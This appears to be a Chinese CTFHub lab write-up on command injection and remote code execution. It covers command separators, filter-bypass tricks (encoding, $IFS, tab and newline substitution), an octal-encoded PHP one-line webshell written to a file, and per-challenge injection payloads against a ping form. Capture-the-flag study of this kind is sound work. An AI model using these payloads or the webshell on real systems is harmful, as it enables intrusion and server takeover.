CTFHub_技能树_远程代码执行
RCE远程代码执行
命令分割符:
linux:
%0a 、%0d 、; 、& 、| 、&&、||
| 分隔符 | 描述 |
|---|---|
| ; | 如果每个命令都被一个分号(;)所分隔,那么命令会连续地执行下去 |
| && | 前面执行成功后面才会执行 |
| & | 不执行错误检查和运行所有命令 |
| || | 前面执行失败才会执行后面 |
| | | 符号 左边输出 作为右边输入。会显示最后一个命令的执行结果 |
windows:
%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
敏感字符过滤绕过:
使用拼接绕过
a=fl;b=ag;cat $a$b
使用编码绕过
base
echo MTIzCg==|base64 -d #123
hex
echo "313233"|xxd -r -p #123
oct
$(printf "\154\163") #ls
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
反斜杠
ca\t fl\ag单引号和双引号绕过
ca''t flag或ca""t flag${}执行代码${phpinfo()};
过滤空格:
空格可以用以下字符串代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
命令注入
题目信息:

尝试命令注入:

看到有一个php文件,8061098418328.php,直接用cat,但是没有显示。

解法一:
考虑到可能有无法显示的特殊字符,使用base64输出

<?php // ctfhub{695122f1d00f32ff2578f119f563cdc507df7b8c}
解法二:
尝试写入一句话后门:

后门写入成功

获得flag

过滤cat
本题过滤了cat
使用ca\t绕过
没有回显,尝试通过查看网页源代码,或者base64输出解码得到flag
过滤空格

使用<代替空格:
解法一:
base64

解法二:
127.0.0.1&cat<flag_21154267199923.php
查看源代码:

过滤分割符
查看目录下的文件:

由于过滤了\,考虑先切换到相应目录,在进行查看:
127.0.0.1&cd flag_is_here;ls

可以选择base64或查看网页源代码
这里我选择直接查看源代码
127.0.0.1&cd flag_is_here;cat flag_3975901425465.php

过滤运算符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
过滤了|与&,使用;分隔命令:

直接给出payload:
127.0.0.1;cat flag_35923221712564.php
127.0.0.1;base64 flag_35923221712564.php = 127.0.0.1;cat flag_35923221712564.php|base64

综合练习
先看源代码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
过滤清单还是比较豪华的。
尝试绕过:
使用%0a分隔命令,使用%09代替空格
查看当前目录下的文件:

查看flag_is_here文件夹下的文件:127.0.0.1%0als%09*is_here

查看flag:
构造payload127.0.0.1%0acd%09*is_here%0atac%09*_32560754932548.php

CTFHub_技能树_远程代码执行的更多相关文章
- 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)
[2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...
- Spring Data REST PATCH请求远程代码执行漏洞(CVE-2017-8046) 本地复现方法
#1背景 Spring Data REST是Spring Data项目的一部分,可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务. 恶意的PATCH请求使用精心构造 ...
- Discuz! 7.1 & 7.2 远程代码执行漏洞
受影响产品: Discuz! 7.1 & 7.2 漏洞描述: 产生漏洞的$scriptlang数组在安装插件后已经初始化 Discuz!新版本7.1与7.2版本中的showmessage函数中 ...
- Natas32 Writeup(Perl 远程代码执行)
Natas32: 打开后和natas31相似的界面,并且提示,这次您需要证明可以远程代码执行,Webroot中有一个二进制文件可以执行. my $cgi = CGI->new; if ($cgi ...
- 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)
漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...
- CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞
CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞复现 漏洞介绍 F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理.应用程序安全管理.负载均衡等功能的应用交付平台. 近日, ...
- SMB远程代码执行漏洞(CVE-2020-0796)分析、验证及加固
这几天有点忙,CVE-2020-0796出来了,没静下心来关注一下,显得太不尊重这个漏洞了,今天周末,关注一下,水一篇. 一.漏洞描述 漏洞公告显示,SMB 3.1.1协议 ...
- s2-029 Struts2 标签远程代码执行分析(含POC)
1.标签介绍 Struts2标签库提供了主题.模板支持,极大地简化了视图页面的编写,而且,struts2的主题.模板都提供了很好的扩展性.实现了更好的代码复用.Struts2允许在页面中使用自定义组件 ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
随机推荐
- CSS3如何实现div闪烁效果
效果: Html: <h1 class="blink">花花世界</h1> Css: @keyframes fade { from { opacity: 1 ...
- 《刻意练习之C#》-0016- C#预处理器指令
预处理指令 这些指令/命令不会转换为可执行代码,但会影响编译过程的各个方面:列如,可以让编译器不编译某一部分代码等. C#中主要的预处理指令 #define和#undef #define指令定义: # ...
- 深浅拷贝 set集合
数据类型的补充 编码转换 # s1 = '中国' # b1 = s1.encode('utf-8') # # print(b1)-------------->b'\xe4\xb8\xad\xe5 ...
- Edge浏览器现已支持Tampermonkey(油猴)
Tampermonkey,Greasemonkey,这种扩展可以让我们的浏览器自动运行我们自己定义的脚本,然后就出现了相关网站(比如https://greasyfork.org/zh-CN)让大家在上 ...
- VMWare的三种网络连接方式
VMWare和主机的三种网络连接方式 桥接 这种模式下,虚拟机通过主机的网卡与主机通信,如果主机能够上网,则虚拟机也能联网. 在虚拟机中,需要将虚拟机的IP配置为与主机处于同一网段. 虚拟机也可以与同 ...
- [LOJ#500]「LibreOJ β Round」ZQC的拼图
题目 点这里看题目. 分析 首先不难发现答案具有单调性,因此可以二分答案.答案上限为\(V=2m\times \max\{a_i, b_i\}\). 考虑如何去判断当前的答案.设这个答案为 ...
- Android学习笔记基于回调的事件处理
流程: 常见的回调方法: 代码示例: @Override public boolean onTouchEvent(MotionEvent event) { Toast.makeText(getAppl ...
- WeChair项目Beta冲刺(8/10)
团队项目进行情况 1.昨日进展 Beta冲刺第八天 昨日进展: 前后端并行开发,项目按照计划有条不絮进行 2.今日安排 前端:扫码占座功能和预约功能并行开发 后端:扫码占座后端逻辑开发,编码使用 ...
- Java闭包概念
闭包又称词法闭包 闭包最早定义为一种包含<环境成分>和<控制成分>的实体. 解释一:闭包是引用了自由变量的函数,这个被引用的变量将和这个函数一同存在. 解释二:闭包是函数和相关 ...
- Dubbo想要个网关怎么办?试试整合Spring Cloud Gateway
一.背景 在微服务架构中 API网关 非常重要,网关作为全局流量入口并不单单是一个反向路由,更多的是把各个边缘服务(Web层)的各种共性需求抽取出来放在一个公共的"服务"(网关)中 ...